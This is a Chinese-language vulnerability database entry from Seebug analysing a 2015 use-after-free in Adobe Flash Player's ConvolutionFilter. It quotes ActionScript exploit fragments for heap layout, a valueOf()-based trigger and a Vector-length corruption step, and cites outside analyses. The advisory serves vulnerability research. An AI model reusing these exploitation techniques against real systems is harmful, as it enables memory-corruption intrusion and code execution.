Lucene search

K
seebugRootSSV:89240
HistoryJul 08, 2015 - 12:00 a.m.

Adobe Flash Player Convolution Filter UAF 命令执行

2015-07-0800:00:00
Root
www.seebug.org
18

EPSS

0.972

Percentile

99.9%

<p>这个漏洞和 Flash 的 ByteArray 成因类似, 都是调用了 Clasz.valueOf() 参数引发的 uaf 命令执行</p><p>Vulcan 在第一时间进行了分析,基于该报告(1)进行说明:</p><pre>// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]

for(i=20; i < alen; i+=6){

a[i] = new Class2(i);

for(j=i+1; j < i+5; j++)

a[j] = new ConvolutionFilter(14,15); // ConvolutionFilter 在这里创建

a[i+5] = new Class2(i+5);

}</pre><pre>var m:Array = new Array(bLen);

m[0] = new Clasz;

m[1] = m[0];

// 设置 matrix
try { filter.matrix = m; } catch (e:Error){}<br></pre><p>这里有一个关键点,filter.matrix 被赋值为 m(类型是 Array),而 Array m 的第一个元素是一个 Clasz 类,而 Clasz 类定义了 valueOf 方法,这个 valueOf 是漏洞触发的关键点:<br></p><p>3. 在 Clasz 的 valueOf 函数中,设置 matrixX:  </p><pre>filter.matrixX = 15; // reallocate filter matrix, 执行完毕后 ConvolutionFilter 内部的
                     // 一个 float 数组 (matrixArray) 就会被释放, 而经过 valueOf() 之后
                     // 已释放的 matrixArray 还会继续使用, 并且往里面写入数据
                     // 从而造成了 use after free.
</pre><p>可以看到 valueOf 函数中,在设置了filter.matrixX 之后,分配了一系列的 Vector<uint>,这些Vector就是用来占用释放后的 matrixArray 的内存的。</p><p>这样当程序继续往被释放后的 matrixArray 里写数据时,实际上是在往 Vector 对象里面写数据,从而达到修改 Vector 长度字段的目的。</p><p>参考链接:  </p><p>(1) <a href=“http://blogs.360.cn/blog/hacking-team-part2/” target=“_blank”>Hacking Team 攻击代码分析 Part 2</a></p><p>(2) <a href=“http://drops.wooyun.org/papers/5446” target=“_blank”>Exploiting CVE-2015-0311(超详细)</a> </p><p>(3) <a href=“http://drops.wooyun.org/papers/5460” target=“_blank”>Exploiting CVE-2015-0311, Part II: Bypassing Control Flow Guard(超详细)</a></p>